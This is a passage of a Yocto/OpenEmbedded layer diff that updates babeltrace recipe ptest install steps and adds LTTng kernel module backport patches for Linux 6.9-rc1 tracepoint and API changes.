+addtask do_patch_ptest_path after do_patch before do_configure
+do_patch_ptest_path () {
+ for f in $(grep -l -r abs_top_srcdir ${S}/tests); do
+ sed -i 's:\@abs_top_srcdir\@:${PTEST_PATH}:' ${f}
+ done
+
+ for f in $(grep -l -r abs_top_builddir ${S}/tests); do
+ sed -i 's:\@abs_top_builddir\@:${PTEST_PATH}:' ${f}
+ done
+ for f in $(grep -l -r GREP ${S}/tests); do
+ sed -i 's:\@GREP\@:grep:' ${f}
+ done
+
+ for f in $(grep -l -r SED ${S}/tests); do
+ sed -i 's:\@SED\@:sed:' ${f}
+ done
+}
+
+do_compile_ptest () {
+ make -C tests all
+}
+
+do_install_ptest () {
+ # Copy required files from source directory
+ for f in config/tap-driver.sh config/test-driver; do
+ install -D "${S}/$f" "${D}${PTEST_PATH}/$f"
+ done
+ install -d "$f" "${D}${PTEST_PATH}/tests/ctf-traces/"
+ cp -a ${S}/tests/ctf-traces/* ${D}${PTEST_PATH}/tests/ctf-traces/
+
+ # Copy the tests directory tree and the executables and
+ # Makefiles found within.
+ install -D "${B}/tests/Makefile" "${D}${PTEST_PATH}/tests/"
+ for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${B}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ test -r "${B}/tests/$d/Makefile" && \
+ install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
+ find "${B}/tests/$d" -maxdepth 1 -name *.sh \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ done
+
+ for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
+ for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
+ cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
+ done
+ done
+
+ install -D ${B}/formats/ctf/metadata/.libs/ctf-parser-test \
+ ${D}${PTEST_PATH}/formats/ctf/metadata/ctf-parser-test
+
+ # Prevent attempts to update Makefiles during test runs, and
+ # silence "Making check in $SUBDIR" messages.
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i \
+ -e '/Makefile:/,/^$/d' \
+ -e '/$(check_SCRIPTS)/s/^/#/' \
+ -e '/%: %.in/,/^$/d' \
+ -e '/echo "Making $$target in $$subdir"; \\/d' \
+ -e 's/^srcdir = \(.*\)/srcdir = ./' \
+ -e 's/^builddir = \(.*\)/builddir = ./' \
+ -e 's/^all-am:.*/all-am:/' \
+ {} +
+
+ # Remove path to babeltrace.
+ for f in $(grep -l -r "^BABELTRACE_BIN" ${D}${PTEST_PATH}); do
+ sed -i 's:^BABELTRACE_BIN.*:BABELTRACE_BIN=/usr/bin/babeltrace:' ${f}
+ done
+ for f in $(grep -l -r "^BTBIN" ${D}${PTEST_PATH}); do
+ sed -i 's:^BTBIN.*:BTBIN=/usr/bin/babeltrace:' ${f}
+ done
+}
diff --git a/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb b/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb
deleted file mode 100644
index 9e5d3a7a97..0000000000
--- a/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb
+++ /dev/null
@@ -1,98 +0,0 @@
-SUMMARY = "Babeltrace - Trace Format Babel Tower"
-DESCRIPTION = "Babeltrace provides trace read and write libraries in host side, as well as a trace converter, which used to convert LTTng 2.0 traces into human-readable log."
-HOMEPAGE = "http://babeltrace.org/"
-BUGTRACKER = "https://bugs.lttng.org/projects/babeltrace"
-LICENSE = "MIT & GPLv2 & LGPLv2.1"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=76ba15dd76a248e1dd526bca0e2125fa"
-
-DEPENDS = "glib-2.0 util-linux popt bison-native flex-native"
-
-SRC_URI = "git://git.efficios.com/babeltrace.git;branch=stable-1.5 \
- file://run-ptest \
- "
-SRCREV = "054a54ae10b01a271afc4f19496c041b10fb414c"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>1(\.\d+)+)$"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig ptest
-
-EXTRA_OECONF = "--disable-debug-info"
-
-ASNEEDED = ""
-
-RDEPENDS_${PN}-ptest += "bash gawk"
-
-addtask do_patch_ptest_path after do_patch before do_configure
-do_patch_ptest_path () {
- for f in $(grep -l -r abs_top_srcdir ${S}/tests); do
- sed -i 's:\@abs_top_srcdir\@:${PTEST_PATH}:' ${f}
- done
-
- for f in $(grep -l -r abs_top_builddir ${S}/tests); do
- sed -i 's:\@abs_top_builddir\@:${PTEST_PATH}:' ${f}
- done
- for f in $(grep -l -r GREP ${S}/tests); do
- sed -i 's:\@GREP\@:grep:' ${f}
- done
-
- for f in $(grep -l -r SED ${S}/tests); do
- sed -i 's:\@SED\@:sed:' ${f}
- done
-}
-
-do_compile_ptest () {
- make -C tests all
-}
-
-do_install_ptest () {
- # Copy required files from source directory
- for f in config/tap-driver.sh config/test-driver; do
- install -D "${S}/$f" "${D}${PTEST_PATH}/$f"
- done
- install -d "$f" "${D}${PTEST_PATH}/tests/ctf-traces/"
- cp -a ${S}/tests/ctf-traces/* ${D}${PTEST_PATH}/tests/ctf-traces/
-
- # Copy the tests directory tree and the executables and
- # Makefiles found within.
- install -D "${B}/tests/Makefile" "${D}${PTEST_PATH}/tests/"
- for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
- install -d "${D}${PTEST_PATH}/tests/$d"
- find "${B}/tests/$d" -maxdepth 1 -executable -type f \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- test -r "${B}/tests/$d/Makefile" && \
- install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
- find "${B}/tests/$d" -maxdepth 1 -name *.sh \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
- done
-
- for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
- for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
- cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
- done
- done
-
- install -D ${B}/formats/ctf/metadata/.libs/ctf-parser-test \
- ${D}${PTEST_PATH}/formats/ctf/metadata/ctf-parser-test
-
- # Prevent attempts to update Makefiles during test runs, and
- # silence "Making check in $SUBDIR" messages.
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- sed -i \
- -e '/Makefile:/,/^$/d' \
- -e '/$(check_SCRIPTS)/s/^/#/' \
- -e '/%: %.in/,/^$/d' \
- -e '/echo "Making $$target in $$subdir"; \\/d' \
- -e 's/^srcdir = \(.*\)/srcdir = ./' \
- -e 's/^builddir = \(.*\)/builddir = ./' \
- -e 's/^all-am:.*/all-am:/' \
- {} +
-
- # Remove path to babeltrace.
- for f in $(grep -l -r "^BABELTRACE_BIN" ${D}${PTEST_PATH}); do
- sed -i 's:^BABELTRACE_BIN.*:BABELTRACE_BIN=/usr/bin/babeltrace:' ${f}
- done
- for f in $(grep -l -r "^BTBIN" ${D}${PTEST_PATH}); do
- sed -i 's:^BTBIN.*:BTBIN=/usr/bin/babeltrace:' ${f}
- done
-}
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0001-Fix-ASoC-snd_doc_dapm-on-linux-6.9-rc1.patch b/meta/recipes-kernel/lttng/lttng-modules/0001-Fix-ASoC-snd_doc_dapm-on-linux-6.9-rc1.patch
new file mode 100644
index 0000000000..9d5fd0de60
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules/0001-Fix-ASoC-snd_doc_dapm-on-linux-6.9-rc1.patch
@@ -0,0 +1,93 @@
+From fec007d9630e010062cf5699a08460f71f46b527 Mon Sep 17 00:00:00 2001
+From: Kienan Stewart <kstewart@efficios.com>
+Date: Mon, 25 Mar 2024 08:54:42 -0400
+Subject: [PATCH 1/4] Fix: ASoC snd_doc_dapm on linux 6.9-rc1
+
+See upstream commit:
+
+ commit 7df3eb4cdb6bbfa482f51548b9fd47c2723c68ba
+ Author: Luca Ceresoli <luca.ceresoli@bootlin.com>
+ Date: Wed Mar 6 10:30:01 2024 +0100
+
+ ASoC: trace: add event to snd_soc_dapm trace events
+
+ Add the event value to the snd_soc_dapm_start and snd_soc_dapm_done trace
+ events to make them more informative.
+
+ Trace before:
+
+ aplay-229 [000] 250.140309: snd_soc_dapm_start: card=vscn-2046
+ aplay-229 [000] 250.167531: snd_soc_dapm_done: card=vscn-2046
+ aplay-229 [000] 251.169588: snd_soc_dapm_start: card=vscn-2046
+ aplay-229 [000] 251.195245: snd_soc_dapm_done: card=vscn-2046
+
+ Trace after:
+
+ aplay-214 [000] 693.290612: snd_soc_dapm_start: card=vscn-2046 event=1
+ aplay-214 [000] 693.315508: snd_soc_dapm_done: card=vscn-2046 event=1
+ aplay-214 [000] 694.537349: snd_soc_dapm_start: card=vscn-2046 event=2
+ aplay-214 [000] 694.563241: snd_soc_dapm_done: card=vscn-2046 event=2
+
+Upstream-Status: Backport [88c4e0fe Fix: ASoC snd_doc_dapm on linux 6.9-rc1]
+
+Change-Id: If0d33544b8dd1dfb3d12ca9390892190fc0444b0
+Signed-off-by: Kienan Stewart <kstewart@efficios.com>
+Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
+---
+ include/instrumentation/events/asoc.h | 33 +++++++++++++++++++++++++++
+ 1 file changed, 33 insertions(+)
+
+diff --git a/include/instrumentation/events/asoc.h b/include/instrumentation/events/asoc.h
+index 21d13a0f..5126d4c1 100644
+--- a/include/instrumentation/events/asoc.h
++++ b/include/instrumentation/events/asoc.h
+@@ -51,6 +51,38 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE_MAP(asoc_snd_soc_card, snd_soc_bias_level_done,
+
+ )
+
++#if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(6,9,0))
++LTTNG_TRACEPOINT_EVENT_CLASS(asoc_snd_soc_dapm_basic,
++
++ TP_PROTO(struct snd_soc_card *card, int event),
++
++ TP_ARGS(card, event),
++
++ TP_FIELDS(
++ ctf_string(name, card->name)
++ ctf_integer(int, event, event)
++ )
++)
++LTTNG_TRACEPOINT_EVENT_INSTANCE_MAP(asoc_snd_soc_dapm_basic, snd_soc_dapm_start,
++
++ asoc_snd_soc_dapm_start,
++
++ TP_PROTO(struct snd_soc_card *card, int event),
++
++ TP_ARGS(card, event)
++
++)
++
++LTTNG_TRACEPOINT_EVENT_INSTANCE_MAP(asoc_snd_soc_dapm_basic, snd_soc_dapm_done,
++
++ asoc_snd_soc_dapm_done,
++
++ TP_PROTO(struct snd_soc_card *card, int event),
++
++ TP_ARGS(card, event)
++
++)
++#else
+ LTTNG_TRACEPOINT_EVENT_CLASS(asoc_snd_soc_dapm_basic,
+
+ TP_PROTO(struct snd_soc_card *card),
+@@ -81,6 +113,7 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE_MAP(asoc_snd_soc_dapm_basic, snd_soc_dapm_done,
+ TP_ARGS(card)
+
+ )
++#endif
+
+ LTTNG_TRACEPOINT_EVENT_CLASS(asoc_snd_soc_dapm_widget,
+
+--
+2.39.2
+
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch b/meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch
new file mode 100644
index 0000000000..120528bf9c
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch
@@ -0,0 +1,46 @@
+From 878f89b6136ff7b870a19e04901cc6f316bbe10a Mon Sep 17 00:00:00 2001
+From: Bruce Ashfield <bruce.ashfield@gmail.com>
+Date: Sat, 15 May 2021 10:26:38 -0400
+Subject: [PATCH] src/Kbuild: change missing CONFIG_TRACEPOINTS to warning
+
+Taken from a previous patch to the main lttng-modules Makefile, by
+Otavio Salvador:
+
+ The lttng-modules are being pulled by the tools-profile image feature,
+ however, not every kernel has the CONFIG_TRACEPOINTS feature enabled.
+
+ This change makes the build do not fail when CONFIG_TRACEPOINTS is not
+ available, allowing it to be kept being pulled by default.
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Bruce Ashfield <bruce.ashfield@gmail.com>
+---
+ src/Kbuild | 7 ++++++-
+ 1 file changed, 6 insertions(+), 1 deletion(-)
+
+Index: lttng-modules-2.13.10/src/Kbuild
+===================================================================
+--- lttng-modules-2.13.10.orig/src/Kbuild
++++ lttng-modules-2.13.10/src/Kbuild
+@@ -2,10 +2,13 @@
+
+ ifdef CONFIG_LOCALVERSION # Check if dot-config is included.
+ ifeq ($(CONFIG_TRACEPOINTS),)
+- $(error The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
++ $(warning The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
++ DISABLE_MODULE = y
+ endif # CONFIG_TRACEPOINTS
+ endif # ifdef CONFIG_LOCALVERSION
+
++ifneq ($(DISABLE_MODULE),y)
++
+ TOP_LTTNG_MODULES_DIR := $(shell dirname $(lastword $(MAKEFILE_LIST)))/..
+
+ lttng_check_linux_version = $(shell pwd)/include/linux/version.h
+@@ -150,3 +153,5 @@ lttng-statedump-objs := lttng-statedump-
+ obj-$(CONFIG_LTTNG) += probes/
+ obj-$(CONFIG_LTTNG) += lib/
+ obj-$(CONFIG_LTTNG) += tests/
++
++endif # DISABLE_MODULE
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0002-Fix-ASoC-add-component-to-set_bias_level-events-in-l.patch b/meta/recipes-kernel/lttng/lttng-modules/0002-Fix-ASoC-add-component-to-set_bias_level-events-in-l.patch
new file mode 100644
index 0000000000..6ea10ffc91
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules/0002-Fix-ASoC-add-component-to-set_bias_level-events-in-l.patch
@@ -0,0 +1,132 @@
+From d8379ec6365a925db33cae94fb6783cdbdb6a922 Mon Sep 17 00:00:00 2001
+From: Kienan Stewart <kstewart@efficios.com>
+Date: Mon, 25 Mar 2024 09:40:29 -0400
+Subject: [PATCH 2/4] Fix: ASoC add component to set_bias_level events in linux
+ 6.9-rc1
+
+See upstream commit:
+
+ commit 6ef46a69ec32fe1cf56de67742fcd01af4bf48af
+ Author: Luca Ceresoli <luca.ceresoli@bootlin.com>
+ Date: Wed Mar 6 10:30:00 2024 +0100
+
+ ASoC: trace: add component to set_bias_level trace events
+
+ The snd_soc_bias_level_start and snd_soc_bias_level_done trace events
+ currently look like:
+
+ aplay-229 [000] 1250.140778: snd_soc_bias_level_start: card=vscn-2046 val=1
+ aplay-229 [000] 1250.140784: snd_soc_bias_level_done: card=vscn-2046 val=1
+ aplay-229 [000] 1250.140786: snd_soc_bias_level_start: card=vscn-2046 val=2
+ aplay-229 [000] 1250.140788: snd_soc_bias_level_done: card=vscn-2046 val=2
+ kworker/u8:1-21 [000] 1250.140871: snd_soc_bias_level_start: card=vscn-2046 val=1
+ kworker/u8:0-11 [000] 1250.140951: snd_soc_bias_level_start: card=vscn-2046 val=1
+ kworker/u8:0-11 [000] 1250.140956: snd_soc_bias_level_done: card=vscn-2046 val=1
+ kworker/u8:0-11 [000] 1250.140959: snd_soc_bias_level_start: card=vscn-2046 val=2
+ kworker/u8:0-11 [000] 1250.140961: snd_soc_bias_level_done: card=vscn-2046 val=2
+ kworker/u8:1-21 [000] 1250.167219: snd_soc_bias_level_done: card=vscn-2046 val=1
+ kworker/u8:1-21 [000] 1250.167222: snd_soc_bias_level_start: card=vscn-2046 val=2
+ kworker/u8:1-21 [000] 1250.167232: snd_soc_bias_level_done: card=vscn-2046 val=2
+ kworker/u8:0-11 [000] 1250.167440: snd_soc_bias_level_start: card=vscn-2046 val=3
+ kworker/u8:0-11 [000] 1250.167444: snd_soc_bias_level_done: card=vscn-2046 val=3
+ kworker/u8:1-21 [000] 1250.167497: snd_soc_bias_level_start: card=vscn-2046 val=3
+ kworker/u8:1-21 [000] 1250.167506: snd_soc_bias_level_done: card=vscn-2046 val=3
+
+ There are clearly multiple calls, one per component, but they cannot be
+ discriminated from each other.
+
+ Change the ftrace events to also print the component name, to make it clear
+ which part of the code is involved. This requires changing the passed value
+ from a struct snd_soc_card, where the DAPM context is not kwown, to a
+ struct snd_soc_dapm_context where it is obviously known but the a card
+ pointer is also available.
+
+ With this change, the resulting trace becomes:
+
+ aplay-247 [000] 1436.357332: snd_soc_bias_level_start: card=vscn-2046 component=(none) val=1
+ aplay-247 [000] 1436.357338: snd_soc_bias_level_done: card=vscn-2046 component=(none) val=1
+ aplay-247 [000] 1436.357340: snd_soc_bias_level_start: card=vscn-2046 component=(none) val=2
+ aplay-247 [000] 1436.357343: snd_soc_bias_level_done: card=vscn-2046 component=(none) val=2
+ kworker/u8:4-215 [000] 1436.357437: snd_soc_bias_level_start: card=vscn-2046 component=ff560000.codec val=1
+ kworker/u8:5-231 [000] 1436.357518: snd_soc_bias_level_start: card=vscn-2046 component=ff320000.i2s val=1
+ kworker/u8:5-231 [000] 1436.357523: snd_soc_bias_level_done: card=vscn-2046 component=ff320000.i2s val=1
+ kworker/u8:5-231 [000] 1436.357526: snd_soc_bias_level_start: card=vscn-2046 component=ff320000.i2s val=2
+ kworker/u8:5-231 [000] 1436.357528: snd_soc_bias_level_done: card=vscn-2046 component=ff320000.i2s val=2
+ kworker/u8:4-215 [000] 1436.383217: snd_soc_bias_level_done: card=vscn-2046 component=ff560000.codec val=1
+ kworker/u8:4-215 [000] 1436.383221: snd_soc_bias_level_start: card=vscn-2046 component=ff560000.codec val=2
+ kworker/u8:4-215 [000] 1436.383231: snd_soc_bias_level_done: card=vscn-2046 component=ff560000.codec val=2
+ kworker/u8:5-231 [000] 1436.383468: snd_soc_bias_level_start: card=vscn-2046 component=ff320000.i2s val=3
+ kworker/u8:5-231 [000] 1436.383472: snd_soc_bias_level_done: card=vscn-2046 component=ff320000.i2s val=3
+ kworker/u8:4-215 [000] 1436.383503: snd_soc_bias_level_start: card=vscn-2046 component=ff560000.codec val=3
+ kworker/u8:4-215 [000] 1436.383513: snd_soc_bias_level_done: card=vscn-2046 component=ff560000.codec val=3
+
+Upstream-Status: Backport [303434ab Fix: ASoC add component to set_bias_level events in linux 6.9-rc1]
+
+Change-Id: I959f1680c002acdf29828b968d3975247f5433d8
+Signed-off-by: Kienan Stewart <kstewart@efficios.com>
+Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
+---
+ include/instrumentation/events/asoc.h | 36 +++++++++++++++++++++++++++
+ 1 file changed, 36 insertions(+)
+
+Index: lttng-modules-2.13.12/include/instrumentation/events/asoc.h
+===================================================================
+--- lttng-modules-2.13.12.orig/include/instrumentation/events/asoc.h
++++ lttng-modules-2.13.12/include/instrumentation/events/asoc.h
+@@ -10,6 +10,7 @@
+ #include <lttng/kernel-version.h>
+
+ #define DAPM_DIRECT "(direct)"
++#define DAPM_COMPONENT_NONE "(none)"
+
+ #ifndef _TRACE_ASOC_DEF
+ #define _TRACE_ASOC_DEF
+@@ -119,6 +120,40 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE_MAP(asoc
+ )
+ #endif
+
++#if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(6,9,0))
++LTTNG_TRACEPOINT_EVENT_CLASS(asoc_snd_soc_dapm_context,
++
++ TP_PROTO(struct snd_soc_dapm_context *dapm, int val),
++
++ TP_ARGS(dapm, val),
++
++ TP_FIELDS(
++ ctf_string(name, dapm->card->name)
++ ctf_string(component, dapm->component ? dapm->component->name : DAPM_COMPONENT_NONE)
++ ctf_integer(int, val, val)
++ )
++)
++
++LTTNG_TRACEPOINT_EVENT_INSTANCE_MAP(asoc_snd_soc_dapm_context, snd_soc_bias_level_start,
++
++ asoc_snd_soc_bias_level_start,
++
++ TP_PROTO(struct snd_soc_dapm_context *dapm, int val),
++
++ TP_ARGS(dapm, val)
++
++)
++
++LTTNG_TRACEPOINT_EVENT_INSTANCE_MAP(asoc_snd_soc_dapm_context, snd_soc_bias_level_done,
++
++ asoc_snd_soc_bias_level_done,
++
++ TP_PROTO(struct snd_soc_dapm_context *dapm, int val),
++
++ TP_ARGS(dapm, val)
++
++)
++#else
+ LTTNG_TRACEPOINT_EVENT_CLASS(asoc_snd_soc_card,
+
+ TP_PROTO(struct snd_soc_card *card, int val),
+@@ -150,6 +185,7 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE_MAP(asoc
+ TP_ARGS(card, val)
+
+ )
++#endif
+
+ #if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(6,9,0))
+ LTTNG_TRACEPOINT_EVENT_CLASS(asoc_snd_soc_dapm_basic,
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0003-Fix-mm_compaction_migratepages-changed-in-linux-6.9-.patch b/meta/recipes-kernel/lttng/lttng-modules/0003-Fix-mm_compaction_migratepages-changed-in-linux-6.9-.patch
new file mode 100644
index 0000000000..66c48ebe8f
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules/0003-Fix-mm_compaction_migratepages-changed-in-linux-6.9-.patch
@@ -0,0 +1,81 @@
+From f4a6415f8d5fa447868d1fdc7119e0a328966379 Mon Sep 17 00:00:00 2001
+From: Kienan Stewart <kstewart@efficios.com>
+Date: Mon, 25 Mar 2024 10:30:32 -0400
+Subject: [PATCH 3/4] Fix: mm_compaction_migratepages changed in linux 6.9-rc1
+
+See upstream commit:
+
+ commit ab755bf4249b992fc2140d615ab0a686d50765b4
+ Author: Baolin Wang <baolin.wang@linux.alibaba.com>
+ Date: Tue Feb 20 14:16:31 2024 +0800
+
+ mm: compaction: update the cc->nr_migratepages when allocating or freeing the freepages
+
+ Currently we will use 'cc->nr_freepages >= cc->nr_migratepages' comparison
+ to ensure that enough freepages are isolated in isolate_freepages(),
+ however it just decreases the cc->nr_freepages without updating
+ cc->nr_migratepages in compaction_alloc(), which will waste more CPU
+ cycles and cause too many freepages to be isolated.
+
+ So we should also update the cc->nr_migratepages when allocating or
+ freeing the freepages to avoid isolating excess freepages. And I can see
+ fewer free pages are scanned and isolated when running thpcompact on my
+ Arm64 server:
+
+ k6.7 k6.7_patched
+ Ops Compaction pages isolated 120692036.00 118160797.00
+ Ops Compaction migrate scanned 131210329.00 154093268.00
+ Ops Compaction free scanned 1090587971.00 1080632536.00
+ Ops Compact scan efficiency 12.03 14.26
+
+ Moreover, I did not see an obvious latency improvements, this is likely
+ because isolating freepages is not the bottleneck in the thpcompact test
+ case.
+
+ k6.7 k6.7_patched
+ Amean fault-both-1 1089.76 ( 0.00%) 1080.16 * 0.88%*
+ Amean fault-both-3 1616.48 ( 0.00%) 1636.65 * -1.25%*
+ Amean fault-both-5 2266.66 ( 0.00%) 2219.20 * 2.09%*
+ Amean fault-both-7 2909.84 ( 0.00%) 2801.90 * 3.71%*
+ Amean fault-both-12 4861.26 ( 0.00%) 4733.25 * 2.63%*
+ Amean fault-both-18 7351.11 ( 0.00%) 6950.51 * 5.45%*
+ Amean fault-both-24 9059.30 ( 0.00%) 9159.99 * -1.11%*
+ Amean fault-both-30 10685.68 ( 0.00%) 11399.02 * -6.68%*
+
+Upstream-Status: Backport [175fe77c Fix: mm_compaction_migratepages changed in linux 6.9-rc1]
+
+Change-Id: I103a43fd1b549360b3fc978fd409b7c17ef3e192
+Signed-off-by: Kienan Stewart <kstewart@efficios.com>
+Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
+---
+ include/instrumentation/events/compaction.h | 17 ++++++++++++++++-
+ 1 file changed, 16 insertions(+), 1 deletion(-)
+
+Index: lttng-modules-2.13.12/include/instrumentation/events/compaction.h
+===================================================================
+--- lttng-modules-2.13.12.orig/include/instrumentation/events/compaction.h
++++ lttng-modules-2.13.12/include/instrumentation/events/compaction.h
+@@ -97,7 +97,22 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE_MAP(comp
+
+ #endif /* #else #if LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(4,0,0) */
+
+-#if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(5,18,0) || \
++#if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(6,9,0))
++LTTNG_TRACEPOINT_EVENT_MAP(mm_compaction_migratepages,
++
++ compaction_migratepages,
++
++ TP_PROTO(unsigned int nr_migratepages,
++ unsigned int nr_succeeded),
++
++ TP_ARGS(nr_migratepages, nr_succeeded),
++
++ TP_FIELDS(
++ ctf_integer(unsigned long, nr_migrated, nr_succeeded)
++ ctf_integer(unsigned long, nr_failed, nr_migratepages - nr_succeeded)
++ )
++)
++#elif (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(5,18,0) || \
+ LTTNG_RHEL_KERNEL_RANGE(5,14,0,163,0,0, 5,15,0,0,0,0))
+ LTTNG_TRACEPOINT_EVENT_MAP(mm_compaction_migratepages,
+
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0004-Fix-dev_base_lock-removed-in-linux-6.9-rc1.patch b/meta/recipes-kernel/lttng/lttng-modules/0004-Fix-dev_base_lock-removed-in-linux-6.9-rc1.patch
new file mode 100644
index 0000000000..59ef4f9313
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules/0004-Fix-dev_base_lock-removed-in-linux-6.9-rc1.patch
@@ -0,0 +1,57 @@
+From 217bc2e4685050dddce9bdd2557b64f6b8c16622 Mon Sep 17 00:00:00 2001
+From: Kienan Stewart <kstewart@efficios.com>
+Date: Mon, 25 Mar 2024 10:53:46 -0400
+Subject: [PATCH 4/4] Fix: dev_base_lock removed in linux 6.9-rc1
+
+See upstream commit:
+
+ commit 1b3ef46cb7f2618cc0b507393220a69810f6da12
+ Author: Eric Dumazet <edumazet@google.com>
+ Date: Tue Feb 13 06:32:45 2024 +0000
+
+ net: remove dev_base_lock
+
+ dev_base_lock is not needed anymore, all remaining users also hold RTNL.
+
+Upstream-Status: Backport [52eb2ee9 Fix: dev_base_lock removed in linux 6.9-rc1]
+
+Change-Id: I6b07e6eed07fd398302ca14d23162ed24d74df15
+Signed-off-by: Kienan Stewart <kstewart@efficios.com>
+Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
+---
+ src/lttng-statedump-impl.c | 15 +++++++++++++++
+ 1 file changed, 15 insertions(+)
+
+Index: lttng-modules-2.13.12/src/lttng-statedump-impl.c
+===================================================================
+--- lttng-modules-2.13.12.orig/src/lttng-statedump-impl.c
++++ lttng-modules-2.13.12/src/lttng-statedump-impl.c
+@@ -392,6 +392,20 @@ void lttng_enumerate_device(struct lttng
+ }
+ }
+
++#if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(6,9,0))
++static
++int lttng_enumerate_network_ip_interface(struct lttng_kernel_session *session)
++{
++ struct net_device *dev;
++
++ rtnl_lock();
++ for_each_netdev(&init_net, dev)
++ lttng_enumerate_device(session, dev);
++ rtnl_unlock();
++
++ return 0;
++}
++#else
+ static
+ int lttng_enumerate_network_ip_interface(struct lttng_kernel_session *session)
+ {
+@@ -404,6 +418,7 @@ int lttng_enumerate_network_ip_interface
+
+ return 0;
+ }
++#endif /* (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(6,9,0)) */
+ #else /* CONFIG_INET */
+ static inline
+ int lttng_enumerate_network_ip_interface(struct lttng_kernel_session *session)
diff --git a/meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch b/meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch
deleted file mode 100644
index 76063607a8..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From ab07574ef90fa510f293c37897d577066a88fe0d Mon Sep 17 00:00:00 2001
-From: Nathan Lynch <nathan_lynch@mentor.com>
-Date: Tue, 25 Apr 2017 16:26:57 -0500
-Subject: [PATCH] BUILD_RUNTIME_BUG_ON vs gcc7
-
-Avoid using LTTng's BUILD_RUNTIME_BUG_ON macro, as it appears to run
-into a similar problem as Linux experienced with ilog2.
-
-See:
-https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=474c90156c8dcc2fa815e6716cc9394d7930cb9c
-https://gcc.gnu.org/bugzilla/show_bug.cgi?id=72785
-
-Upstream-Status: Pending
-Signed-off-by: Nathan Lynch <nathan_lynch@mentor.com>
----
- lib/align.h | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/lib/align.h b/lib/align.h
-index 5b91ae87410b..5e134cd485fe 100644
---- a/lib/align.h
-+++ b/lib/align.h
-@@ -48,7 +48,7 @@
- */
- #define offset_align(align_drift, alignment) \
- ({ \
-- BUILD_RUNTIME_BUG_ON((alignment) == 0 \
-+ BUG_ON((alignment) == 0 \
- || ((alignment) & ((alignment) - 1))); \
- (((alignment) - (align_drift)) & ((alignment) - 1)); \
- })
-@@ -63,7 +63,7 @@
- */
- #define offset_align_floor(align_drift, alignment) \
- ({ \
-- BUILD_RUNTIME_BUG_ON((alignment) == 0 \
-+ BUG_ON((alignment) == 0 \
- || ((alignment) & ((alignment) - 1))); \
- (((align_drift) - (alignment)) & ((alignment) - 1)); \
- })
---
-2.9.3
-
